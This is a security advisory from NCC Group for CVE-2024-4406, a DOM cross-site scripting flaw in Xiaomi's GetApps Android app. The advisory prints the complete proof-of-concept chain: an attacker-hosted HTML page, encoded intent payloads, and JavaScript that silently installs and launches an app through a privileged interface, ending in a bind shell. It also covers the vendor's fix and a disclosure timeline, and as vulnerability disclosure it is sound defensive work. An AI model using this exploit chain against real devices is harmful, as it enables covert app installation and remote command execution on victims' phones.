Verder naar navigatie Doorgaan naar hoofdinhoud Ga naar de voettekst

Technical Advisory: Xiaomi 13 Pro Code Execution via GetApps DOM Cross-Site Scripting (XSS)

24 september 2024

door Ken Gannon

Vendor: xiaomi

Vendor URL: https://www.mi.com

Versions affected: 30.4.1.0 and below 

Systems Affected:  GetApps Store Android Application (com.xiaomi.mipicks)

Author: Ken Gannon  of NCC Group (ken.gannon@nccgroup.com), Ilyes Beghdadi of Census Labs (bilyes@census-labs.com)

Advisory URL / CVE Identifier:  CVE-2024-4406

Risk:  High

Summary

The GetApps Android Application (com.xiaomi.mipicks) versions 30.4.1.0 and below are vulnerable to a DOM Cross-Site Scripting issue within a privileged WebView. Using this issue, it was possible to execute against a privileged JavaScript Interface to install and open any application available in the GetApps application store.

Impact

If a malicious application were to be uploaded to the GetApps application store, then this issue could be used to install said application and execute arbitrary shell commands on the victim device.

Exploit

To successfully exploit this issue, two files are required to be hosted on an attacker’s web server:

·         index.html

·         yay.js

The contents of index.html is below:

        
<html>
<head>
        <title>yaytitleyay</title>
</head>
<body>
        <script type="text/javascript">
                var yayhostyay = location.hostname; // gets host / domain, can also set this to a static value
                var yayportyay = location.port // must be a port number of some sort, or let the script get the prot number by itself
                var yaypayloadyay = "{\"title\":\"look at my PoC!\",\"type\":\"yaytypeyay\\u0022\\u003e\\u003csvg onload\\u003d\\u0022javascript\\u003aj\\u003ddocument.createElement('script');j.src\\u003d'http\\u003a\\u002f\\u002f" + yayhostyay + "\\u003a" + yayportyay + "\\u002fyay.js';document.getElementsByTagName('head')[0].appendChild(j);\\u0022\\u003e\",\"subtitle\":\"brought to you by NCC Group\",\"tips\":\"also Pichu is awesome\",\"btnTips\":\"yayexploityay\"}"
                var yayhyperlinkyay = "intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=" + encodeURIComponent(yaypayloadyay) + "#Intent;action=android.intent.action.VIEW;scheme=mimarket;end"

                var a = document.createElement("a");
                a.href = yayhyperlinkyay;
                a.id = "yayidyay";
                a.innerHTML = "YAYPOCYAY";
                document.getElementsByTagName('body')[0].appendChild(document.createElement("h1"))
                document.getElementsByTagName('h1')[0].appendChild(a);
        </script>
</body>
</html>

The contents of yay.js is below:

const sleep = async (milliseconds) => {
    await new Promise(resolve => {
        return setTimeout(resolve, milliseconds)
    });
};

const thePayloadYay = async () => {
    var yayflagyay = 1;
    while (yayflagyay == 1){
		var yayinstalledappsyay = marketAPI.getInstalledApps({});
		var yayappslengthyay = yayinstalledappsyay.length;
		var yaycounteryay = 0;
		while (yaycounteryay != yayappslengthyay) {
			if (yayinstalledappsyay[yaycounteryay].packageName === "com.<redacted>.sunfish") {
				marketAPI.openApp({"pName":"com.<redacted>.sunfish"});
				yayflagyay = 0;
			}
			yaycounteryay = yaycounteryay + 1;
		}
	}
	marketAPI.showToast({"content":"waiting for the app to be installed"})
    await sleep(5000);
}

marketAPI.install({"extra_params":{"downloadImmediately":"true","fromUntrustedHost":"false","sourcePackage":"com.miui.home","startDownload":"true","callerPackage":"com.xiaomi.mipicks","ext_apm_isColdStart":"false","callerSignature":"88daa889de21a80bca64464243c9ede6","launchWhenInstalled":"true","ext_apm_timeSinceColdStart":"1362443","senderPackageName":"com.xiaomi.mipicks","entrance":"detail","pageRef":"com.xiaomi.mipicks","appClientId":"com.xiaomi.mipicks","refs":"-detail/com.<redacted>.sunfish","sid":"","rId":0,"ad":0,"appStatusType":0,"pName":"com.<redacted>.sunfish","pos":"detailInstallBtn","posChain":"detailInstallBtn","newUser":true,"activedTimeInterval":583925,"adExchangeFlag":0,"_ir_":"8rj6UL-fpnYa7BCFmBSqp5jbHJSm_GgzL6bgn7GqAwc","ext_apm_iconType":"static","ext_apm_isHotTag":false},"ref":"_detailInstallBtn","title":"Sunfish","pName":"com.<redacted>.sunfish","appId":3004617,"appInfo":{"grantCode":0,"openLinkGrantCode":1,"voiceAssistTag":false,"commentable":false,"id":3004617,"appId":3004617,"packageName":"com.<redacted>.sunfish","displayName":"Sunfish","publisherName":"<redacted>","versionName":"1.2.2","versionCode":9,"updateTime":1694181164626,"apkSize":3710211,"compressApkSize":0,"icon":"AppStore/06c542c55a34b47d4a12a45bfe4187f5d8b5d8f10","level1CategoryId":30,"intlCategoryId":30,"ads":0,"adType":1,"position":0,"briefShow":"Help ensure the security of your Android applcation.","briefUseIntro":false,"releaseKeyHash":"0e140764979f5c5c0c44fd526aae29e3",},"sid":"","callBack":"marketAsyncCb.installCb"})
thePayloadYay();

The target device should then use a web browser to browse to http://<attacker’s server>/index.html and click on the hyperlink present on the webpage. When this happens, the above JavaScript will execute which will result in the application “Sunfish” being installed and opened on the device without the user’s consent.

Sunfish is a re-skinned version of Drozer, which starts a bind shell on network interfaces on the device. From there, its possible for the attacker to connect to Sunfish and execute arbitrary commands:

root@2ee5edd7a244:/# sunfish console connect --server <phone IP address>
Selecting 746aece8a83d73e2 (Xiaomi 2210132G 13)

                              _.'.__
                           _.'      .
     ':'.               .''   __ __  .
       '.:._          ./  _ ''     '-'.__
     .'''-: '''-._    | .                '-'._
      '.     .    '._.'                       '
         '.   '-.___ .        .'          .  :o'.
           |   .----  .      .           .'     (
            '|  ----. '   ,.._                _-'
             .' .---  |.''  .-:;.. _____.----'
             |   .-''''    |      '
           .'  _'         .'    _'   Sunfish
          |_.-'            '-.'

sunfish Console (v2.4.4)
sunfish> shell
:/data/user/0/com.<redacted>.sunfish $ whoami
u0_a302
:/data/user/0/com.<redacted>.sunfish $ id
uid=10302(u0_a302) gid=10302(u0_a302) groups=10302(u0_a302),3003(inet),9997(everybody),20302(u0_a302_cache),50302(all_a302) context=u:r:untrusted_app_27:s0:c46,c257,c512,c768

 

 

Technical Details

Browsable Intent Details

The exported activity com.xiaomi.market.ui.JoinActivity can be launched via Browsable Intent. This activity executes different Java functions based on the contents of the incoming Browsable Intent. One of the functions, called handleBrowse(Uri), can launch a privileged WebView with a potentially dangerous JavaScript Interface. This function can be executed if the “data” within the Browsable Intent contains the following:

·         A “scheme” value of mimarket

·         A “host” value of browse

To limit potential attacks which can abuse the JavaScript Interface, the application will not allow handleBrowse(Uri) to launch the privileged WebView unless the URL is considered “safe”. The logic for assessing and validating URLs can be found in class com.xiaomi.market.util.UrlCheckUtilsKt method isUrlMatchLevel(String, HostLevel, boolean).

Below is a high level description of what are considered “safe” URLs:

·         If the URL starts with https://, then the host value must match a whitelisted domain (the whitelist is kept internally within the application)

·         If the URL starts with file://, then the host and path values must match one of the files found in the directory /data/data/com.xiaomi.mipicks/files/web-res-XXXX on the device

Below is a code snippet of how a URL is passed from handleBrowse(Uri) to isUrlMatchLevel(String, HostLevel, boolean):

public class JoinActivity extends BaseActivity {
...
    private void handleBrowse(Uri uri){
        Intent targetIntent;
        ...
        String queryParameter = uri.getQueryParameter(“url”);
        if (UrlCheckUtilsKt.isJsInterfaceAllowed(queryParameter)) {
            targetIntent = getTargetIntent(intFromIntent == 1 ? FloatWebActivity.class : CommonWebActivity.class);
    ...
    targetIntent.putExtra(“url”), queryParameter;
    ...
    startActivity(targetIntent);

 

public final class UrlCheckUtilsKt {
    public static final boolean isJsInterfaceAllowed(String str) {
        ...
        boolean isUrlMatchLevel = isUrlMatchLevel(str, HostLevel.TRUSTED)
    ...
    public static final boolean isUrlMatchLevel(String str, HostLevel level){
        ...
        boolean isUrlMatchLevel = isUrlMatchLevel(str, level, true)
    ...
    public static final boolean isUrlMatchLevel(String str, HostLevel level, boolean z)({

If the URL is considered valid, then one of the following WebViews will be launched via startActivity(Intent):

·         com.xiaomi.market.ui.FloatWebActivity

·         com.xiaomi.market.ui.CommonWebActivity

As an example, the following Browsable Intent can be used to launch the exported activity com.xiaomi.market.ui.JoinActivity, open the privileged WebView com.xiaomi.market.ui.CommonWebActivity, and open the file /data/data/com.xiaomi.mipicks/files/web-res-XXXX/detail.html:

<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fdetail.html#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">YAYPOCYAY</a>

Below is a screenshot of the resulting detail.html page. It should be noted that the lack of content in the web page is intentional:

 

 

DOM Cross-Site Scripting (XSS)

The folder /data/data/com.xiaomi.mipicks/files/web-res-XXXX/ contained the following types of files:

·         HTML files – render basic HTML and load JavaScript files to render content

·         JavaScript files – the JavaScript files that are loaded by the HTML files

Most of the JavaScript files contained an integrated function to filter potentially dangerous characters. This is because some HTML files were required to take user input (via URL GET parameters) and fill out the HTML content based on the user input.

However, the file integral-dialog-page-chunk.js did not filter out dangerous characters in one area, resulting in the ability to perform a DOM Cross-Site Scripting (XSS) attack in the page integral-dialog-page.html.

Below is a Browsable Intent PoC which demonstrates this issue by executing the command alert(1) after loading the page integral-dialog-page.html:

<h1>
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
        YAYPOCYAY</a>
</h1>

Decoded payload value:

file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert(1)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}

Below is a screenshot of the DOM XSS payload being executed on the device:

 

 

Privileged JavaScript Interface WebEvent

The previously mentioned privileged WebView loads the JavaScript Interface “WebEvent” (com.xiaomi.market.webview.WebEvent).

This JavaScript Interface contained two useful methods which could be executed via JavaScript:

·         install(string) – this method will install any application that is available on the GetApps store

·         openApp(string) – this method will find the launch intent for any installed application and run that intent, opening the specified application

 

Launching the WebView and Executing Against WebEvent

In order to execute JavaScript against the “WebEvent” JavaScript Interface, the integral-dialog-page.html page must be launched and user input must contain the appropriate JavaScript.

The following Browsable Intent can be used to launch the privileged WebView, load the page integral-dialog-page.html, and execute the JavaScript command alert(marketAPI). This shows that it is possible to execute arbitrarily against the privileged JavaScript Interface found at com.xiaomi.market.webview.WebEvent:

<h1>
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
        YAYPOCYAY</a>
</h1>

Decoded payload value:

file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert('privileged marketAPI: ' + marketAPI)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}

Below is a screenshot of the above payload being executed:

A screenshot of a phone

Description automatically generated

Using this, it is possible to execute the JavaScript Interface functions install(String) and openApp(String). To fully take advantage of this issue, an attacker would need to upload a malicious app to the GetApps store. Then this exploit will need to be abused to install said malicious application and launch it automatically.

 

 

Sunfish

To demonstrate the severity of this issue, the application “Sunfish” was uploaded to the GetApps store. Sunfish is a re-skinned copy of Drozer, whish a common tool used for penetration testing of Android devices. This version of Sunfish (Drozer) is also configured to start a bind shell when the application is launched.

 

 

Combining the Pieces

With all of the information above, the workflow for this exploit looks like the following:

·         User with a Xiaomi 13 Pro browses to an attacker controlled web server and clicks a hyper link that was crafted by the attacker

·         The GetApps application is launched and the privileged WebView is launched

·         The DOM XSS issue is exploited to inject custom JavaScript into the privileged WebView

·         The attacker controlled custom JavaScript executes commands against the “WebEvent” JavaScript Interface to install and open Sunfish

·         Sunfish is launched, and a bind shell is started

·         The attacker connects to the bind shell, which can then execute commands within the context of Sunfish

 

Disabled Browsers for Specific Versions of GetApps

During Pwn2Own Toronto 2023, Xiaomi temporarily implemented code into the GetApps application which would block the ability to launch JoinActivity via Browsable Intent. This code was later removed from GetApps after the Pwn2Own competition had concluded.

Below is a list of GetApps versions, their SHA256 hashes, and which browsers are prohibited from launching JoinActivity:

·         Version 30.2.7.0

o   SHA256 - 4cf142334ed34c3705c2a30c3aba121861e57d8c5d1d8341f194ad4723dc5be8

o   Browsers blocked:

§  Xiaomi Browser (com.mi.globalbrowser)

§  Android HTML Viewer (com.android.htmlviewer)

§  Android NFC (com.android.nfc)

§  Google Chrome (com.android.chrome)

·         Version 30.2.8.0

o   SHA256 - 7637f7fe3dd1c53e072069faabda59683272115e561fa5e400bd0586093accd1

o   Browsers blocked:

§  Xiaomi Browser (com.mi.globalbrowser)

§  Android HTML Viewer (com.android.htmlviewer)

§  Android NFC (com.android.nfc)

§  Google Chrome (com.android.chrome)

§  Opera Browser (com.opera.browser)

§  Yandex Browser (com.yandex.browser)

The application logic to block the above browsers can be seen in the below code snippet, taken from GetApps version 30.2.7.0.

The value matchSpecialCallingPackage is set to true if the Browsable Intent was sent from one of the above blacklisted browsers. Since matchSpecialCallingPackage is true, the method handleIntent() will always return before the handleBrowse(Uri uri) function can be executed.

public class JoinActivity extends BaseActivity {
...
    private void handleInent() {
    ...
    boolean matchSpecialCallingPackage = matchSpecialCallingPackage();
    ...
                if (matchSpecialCallingPackage) {
                        if (!TextUtils.equals(targetPage, PAGE_DETAILS) && !TextUtils.equals(targetPage, "detail") && !TextUtils.equals(targetPage, PAGE_LAUNCH_DETAIL)) {
                            launchTargetActivity(MarketTabActivity.class);
                        } else {
                            handleDetails(intent, scheme, targetPage);
                        }
                        MethodRecorder.o(9268);
                        return;
                    }
                ...
                if (TextUtils.equals(targetPage, PAGE_BROWSE)) {
                        handleBrowse(data);
                        MethodRecorder.o(9268);
                        return;
                    }

 

private boolean matchSpecialCallingPackage() {
    ...
    boolean contains = sBlackPkgArrayList.contains(getCallingPackage());
    ...
    return contains;
}

 

Recommendation

Xiaomi has stated that this issue was resolved in GetApps version 32.0.0.1. Users should update their GetApps application to at least that version.

Vendor Communication

2023-10-25 – Exploit demonstrated at Pwn2Own Toronto 2023, exploit details handed over to Zero Day Initiative (ZDI)

2023-11-09 – ZDI reported vulnerability to Xiaomi

2024-05-01 – Coordinated public release of advisory

Note: Xiaomi has not assigned a CVE for this issue. When ZDI worked with Xiaomi to patch this issue, Xiaomi informed ZDI they would assign a CVE, but never followed through. So instead, ZDI has assigned the CVE number CVE-2024-4406 for this issue.